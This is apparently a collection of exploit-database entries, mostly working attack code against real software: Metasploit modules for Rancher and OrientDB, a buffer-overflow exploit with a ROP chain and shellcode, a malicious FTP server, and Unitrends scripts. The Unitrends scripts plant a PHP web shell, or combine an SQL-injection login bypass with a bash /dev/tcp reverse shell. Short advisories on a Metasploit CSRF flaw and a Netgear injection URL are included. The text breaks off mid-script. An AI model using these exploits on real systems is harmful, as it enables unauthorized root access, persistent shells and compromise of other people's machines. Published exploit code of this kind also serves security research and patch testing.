    command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"

    command
  end

  def make_container(mnt_path, cron_path, payload_path, container_id)
    vprint_status('Setting container json request variables')
    {
      'instanceTriggeredStop'           => 'stop',
      'startOnCreate'                   => true,
      'networkMode'                     => 'managed',
      'requestedHostId'                 => datastore['TARGETHOST'],
      'type'                            => 'container',
      'dataVolumes'                     => [ '/:' + mnt_path ],
      'imageUuid'                       => 'docker:' + datastore['DOCKERIMAGE'],
      'name'                            => container_id,
      'command'                         => make_cmd(mnt_path, cron_path, payload_path),
      'entryPoint'                      => %w[sh -c]
    }
  end

  def check
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    if res.nil?
      print_error('Failed to connect to the target')
      return Exploit::CheckCode::Unknown
    end

    if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
      print_error('Authorization is required. Provide valid Rancher API Keys.')
      return Exploit::CheckCode::Detected
    end

    if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
      target_found = false
      target_selected = false

      environments = JSON.parse(res.body)['data']
      environments.each do |e|
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     => normalize_uri(target_uri.path, e['id'], 'hosts'),
          'ctype'   => 'application/json',
          'headers' => { 'Accept' => 'application/json' }
        )

        hosts = JSON.parse(res.body)['data']
        hosts.each do |h|
          target_found = true
          result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
          result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"

          # flag results when this host is targeted via options
          if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
            target_selected = true
            vprint_good(result + ' %red<-- targeted%clr')
          else
            vprint_good(result)
          end
        end
      end

      if target_found
        return Exploit::CheckCode::Vulnerable if target_selected

        print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
        if datastore['VERBOSE'] == false
          print_bad('Try verbose mode to know what happened.')
        end
        vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
        return Exploit::CheckCode::Appears
      else
        print_bad('No TARGETHOST available')
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::Unknown, 'Failed to connect to the target')
    end

    # create required information to create json container information
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id

    # deploy docker container
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' },
      'data'    => make_container(mnt_path, cron_path, payload_path, container_id).to_json
    )
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201

    print_good('The docker container is created, waiting for it to deploy')

    # cleanup
    register_files_for_cleanup(cron_path, payload_path)

    rancher_container_id = JSON.parse(res.body)['id']
    deleted_container = false

    sleep_time = 5
    wait_time = datastore['WAIT_TIMEOUT']
    vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")

    while wait_time > 0
      sleep(sleep_time)
      wait_time -= sleep_time

      res = send_request_cgi(
        'method'  => 'GET',
        'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
        'ctype'   => 'application/json',
        'headers' => { 'Accept' => 'application/json' }
      )
      next unless res && res.code == 200 && res.body.include?('stopped')

      vprint_good('The docker container has stopped, now trying to remove it')
      del_container(rancher_container_id, container_id)
      deleted_container = true
      wait_time = 0
    end

    # if container does not deploy, try to remove it and fail out
    unless deleted_container
      del_container(rancher_container_id, container_id)
      fail_with(Failure::Unknown, "The docker container failed to start")
    end

    print_status('Waiting for the cron job to run, can take up to 60 seconds')
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OrientDB 2.2.x Remote Code Execution',
      'Description'    => %q{
          This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
          All versions from 2.2.2 up to 2.2.22 should be vulnerable.
      },
      'Author'  =>
        [
          'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
          'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
          ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
          ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
        ],
      'Platform'  => %w{ linux unix win },
      'Privileged'  => false,
      'Targets'   =>
        [
          ['Linux',    {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
          ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
          ['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
        ],
      'DisclosureDate' => 'Jul 13 2017',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(2480),
        OptString.new('USERNAME', [ true,  'HTTP Basic Auth User', 'writer' ]),
        OptString.new('PASSWORD', [ true,  'HTTP Basic Auth Password', 'writer' ]),
        OptString.new('TARGETURI', [ true,  'The path to the OrientDB application', '/' ])
      ])
  end

  def check
    uri = target_uri
    uri.path = normalize_uri(uri.path)
    res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
    if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
      print_good("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Vulnerable
    else
      print_status("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Safe
    end
  end

  def http_send_command(cmd, opts = {})
    # 1 -Create the malicious function
    func_name = Rex::Text::rand_text_alpha(5).downcase
    request_parameters = {
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
    }
    res = send_request_raw(request_parameters)
    if not (res and res.code == 201)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to create the malicious function.')
        return
      end
    end
    # 2 - Trigger the malicious function
    request_parameters = {
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => ""
    }
    req = send_request_raw(request_parameters)
    if not (req and req.code == 200)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
        return
      end
    end
    # 3 - Get the malicious function id
    if res && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["@rid"]
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
        return
      end
    end
    func_id = json_body.slice(1..-1)
    # 4 - Delete the malicious function
    request_parameters = {
      'method'    => 'DELETE',
      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*' },
      'data' => ""
    }
    rer = send_request_raw(request_parameters)
    if not (rer and rer.code == 204)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
        return
      end
    end
  end

  def java_craft_runtime_exec(cmd)
    decoder = Rex::Text.rand_text_alpha(5, 8)
    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
    cmd_array = Rex::Text.rand_text_alpha(5, 8)
    jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
    jcode << "String [] #{cmd_array} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
      jcode << "#{cmd_array}[1] = \"/c\";\n"
    else
      jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
      jcode << "#{cmd_array}[1] = \"-c\";\n"
    end
    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
    jcode
  end

  def on_new_session(client)
    if not @to_delete.nil?
      print_warning("Deleting #{@to_delete} payload file")
      execute_command("rm #{@to_delete}")
    end
  end

  def execute_command(cmd, opts = {})
    vprint_status("Attempting to execute: #{cmd}")
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["databases"]
      rescue JSON::ParserError
        print_error("Unable to parse JSON")
        return
      end
    else
      print_error("Timeout or unexpected response...")
      return
    end
    targetdb = json_body[0]
    http_send_command(cmd,targetdb)
  end

  def linux_stager
    cmds = "echo LINE | tee FILE"
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/\=/, "\\u003d")
    file = rand_text_alphanumeric(4+rand(4))
    execute_command("touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
    base64.each_line do |line|
      line.chomp!
      cmd = cmds
      cmd.gsub!(/LINE/, line)
      execute_command(cmds)
    end
    execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("chmod +x /tmp/#{file}")
    execute_command("rm /tmp/#{file}.b64")
    execute_command("/tmp/#{file}")
    @to_delete = "/tmp/#{file}"
  end

  def exploit
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["databases"]
      rescue JSON::ParserError
        print_error("Unable to parse JSON")
        return
      end
    else
      print_error("Timeout or unexpected response...")
      return
    end
    targetdb = json_body[0]
    privs_enable = ['create','read','update','execute','delete']
    items = ['database.class.ouser','database.function','database.systemclusters']
    # Set the required DB permissions
    privs_enable.each do |priv|
      items.each do |item|
       request_parameters = {
        'method'    => 'POST',
        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'headers' => { 'Accept' => '*/*' },
        'data' => "GRANT #{priv} ON #{item} TO writer"
       }
       res = send_request_raw(request_parameters)
      end
    end
    # Exploit
    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending command stager...")
      execute_cmdstager(flavor: :vbs)
    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      res = http_send_command("#{payload.encoded}","#{targetdb}")
    when 'linux'
      print_status("#{rhost}:#{rport} - Sending Linux stager...")
      linux_stager
    end
    handler
    # Final Cleanup
    privs_enable.each do |priv|
      items.each do |item|
       request_parameters = {
        'method'    => 'POST',
        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'headers' => { 'Accept' => '*/*' },
        'data' => "REVOKE #{priv} ON #{item} FROM writer"
       }
       res = send_request_raw(request_parameters)
      end
    end
   end
end

            
import struct,sys
head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''

#offset 17375
junk = "A" *17375

#0x1003df8e
#0x774e1035
EIP="\x36\x10\x4e\x77"

adjust="A" *4

def create_rop_chain():
    
    rop_gadgets = [
      0x73dd5dce,  # POP EAX # RETN [MFC42.DLL] 
      0x5d091368,  # ptr to &VirtualProtect() [IAT COMCTL32.dll]
      0x7608708e,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSVCP60.dll] 
      0x73dd40f1,  # XCHG EAX,ESI # RETN [MFC42.DLL] 
      0x7c96feb7,  # POP EBP # RETN [ntdll.dll] 
      0x7608fcec,  # & push esp # ret  [MSVCP60.dll]
      0x01c395d4,  # POP EAX # RETN [MSA2Mcodec00.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77d74960,  # NEG EAX # RETN [USER32.dll] 
      0x7ca485b4,  # XCHG EAX,EBX # RETN [SHELL32.dll] 
      0x01d64827,  # POP EAX # RETN [msvos.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d74960,  # NEG EAX # RETN [USER32.dll] 
      0x71ab9b46,  # XCHG EAX,EDX # RETN [WS2_32.dll] 
      0x1003fd11,  # POP ECX # RETN [MSA2Mfilter03.dll] 
      0x77da1d04,  # &Writable location [USER32.dll]
      0x01d34691,  # POP EDI # RETN [MSA2Mctn01.dll] 
      0x76091182,  # RETN (ROP NOP) [MSVCP60.dll]
      0x7d7da123,  # POP EAX # RETN [WMVCore.DLL] 
      0x90909090,  # nop
      0x77195015,  # PUSHAD # RETN [OLEAUT32.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
	
rop_chain = create_rop_chain()

#msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -f python -b "\x00\x0a\x0d EXITFUNC=seh
#badcharacters "\x00\x0a\x0d"

buf =  ""
buf += "\xda\xd6\xba\xf5\xa4\x32\xf4\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x31\x83\xc5\x04\x31\x55\x14\x03\x55\xe1\x46"
buf += "\xc7\x08\xe1\x05\x28\xf1\xf1\x69\xa0\x14\xc0\xa9\xd6"
buf += "\x5d\x72\x1a\x9c\x30\x7e\xd1\xf0\xa0\xf5\x97\xdc\xc7"
buf += "\xbe\x12\x3b\xe9\x3f\x0e\x7f\x68\xc3\x4d\xac\x4a\xfa"
buf += "\x9d\xa1\x8b\x3b\xc3\x48\xd9\x94\x8f\xff\xce\x91\xda"
buf += "\xc3\x65\xe9\xcb\x43\x99\xb9\xea\x62\x0c\xb2\xb4\xa4"
buf += "\xae\x17\xcd\xec\xa8\x74\xe8\xa7\x43\x4e\x86\x39\x82"
buf += "\x9f\x67\x95\xeb\x10\x9a\xe7\x2c\x96\x45\x92\x44\xe5"
buf += "\xf8\xa5\x92\x94\x26\x23\x01\x3e\xac\x93\xed\xbf\x61"
buf += "\x45\x65\xb3\xce\x01\x21\xd7\xd1\xc6\x59\xe3\x5a\xe9"
buf += "\x8d\x62\x18\xce\x09\x2f\xfa\x6f\x0b\x95\xad\x90\x4b"
buf += "\x76\x11\x35\x07\x9a\x46\x44\x4a\xf0\x99\xda\xf0\xb6"
buf += "\x9a\xe4\xfa\xe6\xf2\xd5\x71\x69\x84\xe9\x53\xce\x74"
buf += "\x1b\x6e\xda\xe1\x82\x1b\xa7\x6f\x35\xf6\xeb\x89\xb6"
buf += "\xf3\x93\x6d\xa6\x71\x96\x2a\x60\x69\xea\x23\x05\x8d"
buf += "\x59\x43\x0c\xee\x3c\xd7\xcc\xdf\xdb\x5f\x76\x20"

shellcode="S"*10+buf

print "Length of shellcode is:",len(shellcode)
print "Length of ropchain is:",len(rop_chain)

print"Calculating Garbage:",(26000-17375-4-4-len(shellcode)-len(rop_chain))

garbage= "C" *8303

foot ='''_playlis.wma"/>
</Entry>
</ASX>'''

payload=head+junk+EIP+adjust+rop_chain+shellcode+garbage+foot

fobj = open("exploit.asx","w")
fobj.write(payload)
fobj.close()
            
#!/usr/bin/python
  
print "PyroBatchFTP Local Buffer Overflow (SEH) Server"

#Author: Kevin McGuigan @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.emtech.com
#Date: 07/10/2017
#Version: 3.17
#Tested on: Windows 7 32-bit
#CVE: CVE-2017-15035

 
import socket
import sys

buffer="A" * 2292 +   "B" * 4 + "C" * 4 + "D" * 800
port = 21
 
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[+] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[+] Failed to bind the server to port: "+str(port)+"\r\n")
 
while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to PyoBatchFTP Overflow!\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')

            
# Exploit Title: CSRF
# Date: Wed, Aug 30, 2017
# Software Link: https://www.metasploit.com/
# Exploit Author: Dhiraj Mishra 
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-15084 (R7-2017-22)
# Category:  Metasploit Pro, Express, Ultimate, and Community
 
 
1. Description
 
Metasploit Pro, Express, Ultimate, and Community can encounter an issue of cross site request forgery (also known as one-click attack and is abbreviated as CSRF or XSRF), which is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. A CSRF attack attempts to exploit the trust that a specific website has in a user's browser.
 
2. Proof of concept
 
The MSF did not protect the logout form with csrf token, therefore i can logout any user by sending this url https://Metasploit-Server-IP:3790/logout
Here's an attack vector:

1) Set up a honeypot that detects MSF scans/attacks (somehow).
2) Once I get a probe, fire back a logout request.
3) Continue to logout the active user forever.

It's less damaging than a traditional "hack back" but is sure to irritate the local red team to no end. It's essentially a user DoS. This attack may have been useful as a denial of service against Metasploit instances, allowing an attacker to prevent normal Metasploit usage.

3. Rapid7 Security Bulletin

https://blog.rapid7.com/2017/10/06/vulnerabilities-affecting-four-rapid7-products-fixed/
            
Sources:
https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html
https://github.com/siberas/CVE-2016-3309_Reloaded

Exploits for the recently-patched win32kfull!bFill vulnerability. Executing the Palette or Bitmap exploit will give you SYSTEM privileges on the affected system. The exploits should work fine on Windows 10 x64 with Creators Update, build 15063.540 (latest version of Win10 before the release of Microsoft's September Updates).

The Visual Studio solution contains three exploits:

CVE-2016-3309_Reloaded_Bitmaps: Exploit using the Bitmaps technique
CVE-2016-3309_Reloaded_Palettes: Exploit using the Palettes technique
CVE-2016-3309_Reloaded_Deadlock: POC exploit showcasing the system deadlock which happens due to improved Handle validation

We also published a blog post (https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html) which goes into detail about the exploitation of this "wild" Pool-based overflow.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42960.zip

            
# Exploit Title: Authenticated lowpriv RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12479

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Authenticated lowpriv RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6

This exploit utilizes some issues in UEB9 session handling to place a 
php exec one liner in the webroot of the appliance.

Session tokens looks like this:

djA6NmM0ZWMzYTEtZmYwYi00MTIxLTk3YzYtMjQzODljM2EyNjY1OjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA==

and decodes to this:
                                                            LOG_LVL ----,
   v --- UUID ----------------------- v   v -- LOG_DIR -----------v     v
v0:6c4ec3a1-ff0b-4121-97c6-24389c3a2665:1:/usr/bp/logs.dir/gui_root.log:0 

The general steps that are followed by this poc are:

1. Authenticate as a low priv user and receive an auth token.
2. Modify the LOG_DIR field to point to a directory in the web root
   with apache user write access, and make a request to an arbitrary resource.
   This should touch a new file at the desired location.
3. Replace the UUID token in this auth token with a php shell_exec on liner, 
   and modify the LOG_LVL parameter to a value of 5, which will ensure
   that the UUID is reflected into the log file.
4. Issue a final request, to generate a shell.php file with a single shell_exec.
   This step is not strictly necessary.
###############################################################################
"""

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -u <username> -p <password>\n"\

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-u", '--username', dest='username', action="store",
          help="User with any amount of privilege on unitrends device")
parser.add_option("-p", '--password', dest='password', action="store",
          help="password for this user")

(options, args) = parser.parse_args()

if not options.rhost:
  parser.error("[!] No remote host specified.\n")

elif options.rhost is None or options.username is None or options.password is None:
  parser.print_help()
  sys.exit(1)

RHOST = options.rhost
username = options.username
password = options.password

################################################################
# REQUEST ONE: GET A UUID.
################################################################

url1 = '/api/login'

a = {"username" : username,
     "password" : password}

post_body = json.dumps(a)

headers1 = {'Host' : RHOST}

print "[+] Attempting to log in to {0}, {1}:{2}".format(RHOST, username, password)

conn = httplib.HTTPSConnection(RHOST, 443)
conn.set_debuglevel(0)
conn.request("POST", url1, post_body, headers=headers1)
r1 = conn.getresponse()

################################################################
# BUILD THE AUTH TOKENS THAT WE'LL USE IN AN ATTACK.
################################################################

parsed_json = json.loads(r1.read())

if 'auth_token' not in parsed_json:
  print "[!] Didn't receive an auth token. Bad creds?"
  exit()

auth_encoded = parsed_json['auth_token']
auth_decoded = base64.b64decode(auth_encoded)

uuid = auth_decoded.split(':')[1]
ssid = auth_decoded.split(':')[2]

# We'll place our command shell in /var/www/html/tempPDF, since apache
# has rw in this dir.

log_dir = "/var/www/html/tempPDF/"
log_file = ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + '.php'
log_lvl = "5"
shell = "<?php echo shell_exec($_GET['cmd']);?> >"

auth_mod1 = "v0:{0}:{1}:{2}{3}:{4}".format(uuid, ssid, log_dir, log_file, log_lvl)
auth_mod2 = "v0:{0}:{1}:{2}{3}:{4}".format(shell, ssid, log_dir, log_file, log_lvl)

auth_mod1 = base64.b64encode(auth_mod1)
auth_mod2 = base64.b64encode(auth_mod2)

url2 = '/api/summary/current/'

################################################################
# REQUEST 2: PUT A FILE
################################################################

print "[+] Making a request to place log to http://{0}/tempPDF/{1}".format(RHOST, log_file)

headers2 = {'Host' : RHOST,
      'AuthToken' : auth_mod1}

# touch the file
conn.request("GET", url2, headers=headers2)
r2 = conn.getresponse()

print "[+] Making request to reflect shell_exec php to {0}.".format(log_file)

headers3 = {'Host' : RHOST,
      'AuthToken' : auth_mod2}

# make the first command
time.sleep(.5)
conn.request("GET", url2, headers=headers3)
conn.close()

# optional cleanup time

print "[+] Making a request to generate clean shell_exec at http://{0}/tempPDF/shell.php".format(RHOST)

url4 = '/tempPDF/' + log_file
url4 += '?cmd=echo+-e+"<?php%20echo%20shell_exec(\$_GET[%27cmd%27]);?>"+>+shell.php'

conn1 = httplib.HTTPSConnection(RHOST, 443)
conn1.request("GET", url4, headers=headers2)
r3 = conn1.getresponse()
conn1.close()


url5 = "/tempPDF/shell.php"
print "[+] Checking for presence of http://{0}{1}".format(RHOST, url5)
headers3 = {'Host' : RHOST}

conn2 = httplib.HTTPSConnection(RHOST, 443)
conn2.request("GET", url5, headers=headers2)
r3 = conn2.getresponse()

if r3.status == 200:
  print "[+] Got a 200 back. We did it."
  print "[+] Example cmd: http://{0}{1}?cmd=id".format(RHOST, url5)
else:
  print "Got a {0} back. Maybe this didn't work.".format(r3.status)
  print "Try RCE here http://{0}/tempPDF/{1}?cmd=id".format(RHOST, log_file)

conn2.close()

# 3. Solution:
# Update to Unitrends UEB 10

            
# Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Cale Smith, Benny Husted, Jared Arave
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12478

import httplib
import urllib
import ssl
import random
import sys
import base64
import string
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Unauthenticated root RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6

This exploit leverages a sqli vulnerability for authentication bypass,
together with command injection for subsequent root RCE. 

To use the exploit as written, make sure you're running a reverse
shell listener somewhere, using a command like:

$ nc -nlvp 1234

Then, just specify the ip and port of the remote listener in the 
exploit command. Alternatively, modify this exploit to contain a 
command of your choosing by modifying the 'cmd' variable below.
###############################################################################
"""

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
	    "       %prog -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
				  help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
				  help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
				  help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
				  help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if options.cmd:
	if (options.lhost or options.lport):
		parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mututally exclusive.\n")

	elif not options.rhost:
		parser.error("[!] No remote host specified.\n")

elif options.rhost is None or options.lhost is None or options.lport is None:
	parser.print_help()
	sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
	cmd = options.cmd
else:
	cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

url = '/api/storage/'

# Here, a SQLi string overrides the uuid, providing auth bypass.
# We'll need to base64 encode before sending... 
auth = base64.b64encode("v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0")

params = urllib.urlencode({'auth' : auth})

params = """{{"type":4,"name":"aaaaaaaa","usage":"archive","properties":{{"username":"km","password":"km","port":"445","hostname":"asdf.com","protocol":"cifs","share_name":"`{0}`"}}}}""".format(cmd)

headers = {'Host' : RHOST,
		   'Content-Type' : 'application/json',
		   'X-Requested-With' : 'XMLHttpRequest',
		   'AuthToken' : auth }

# Establish an HTTPS connection and send the payload.
conn = httplib.HTTPSConnection(RHOST, 443)
conn.set_debuglevel(1)

print """
[+] Sending payload to remote host [https://{0}]
[+] Here's some debug info:
""".format(RHOST)

conn.request("POST", url, params, headers=headers)
r1 = conn.getresponse()

print ""
print "[+] Request sent. Maybe your command was executed?"
print ""

# Print response, for debug purposes.
print r1.status, r1.reason
print r1.read()

# 3. Solution:
# Update to Unitrends UEB 10

            
# Exploit Netgear ReadyNAS Surveillance 1.4.3-16 Unauthenticated RCE
# Date: 27.09.2017
# Software Link: https://www.netgear.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
   
1. Description
  
$_GET['uploaddir'] is not escaped and passed to system() through $tmp_upload_dir.

https://security.szurek.pl/netgear-ready-nas-surveillance-14316-unauthenticated-rce.html
 
2. Proof of Concept

http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27
            
# Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Jared Arave, Cale Smith, Benny Husted
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12477

import socket
import binascii
import struct
import time
import sys
from optparse import OptionParser

print """
###############################################################################
Unauthenticated root RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6

This exploit uses roughly the same process to gain root execution
as does the apache user on the Unitrends appliance. The process is
something like this:

1.  Connect to xinetd process (it's usually running on port 1743)
2.  This process will send something like: '?A,Connect36092'
3.  Initiate a second connection to the port specified 
    in the packet from xinetd (36092 in this example)
4.  send a specially crafted packet to xinetd, containing the 
    command to be executed as root
5.  Receive command output from the connection to port 36092
6.  Close both connections

NB: Even if you don't strictly need output from your command,
The second connection must still be made for the command
to be executed at all.
###############################################################################
"""

# Parse command line args:
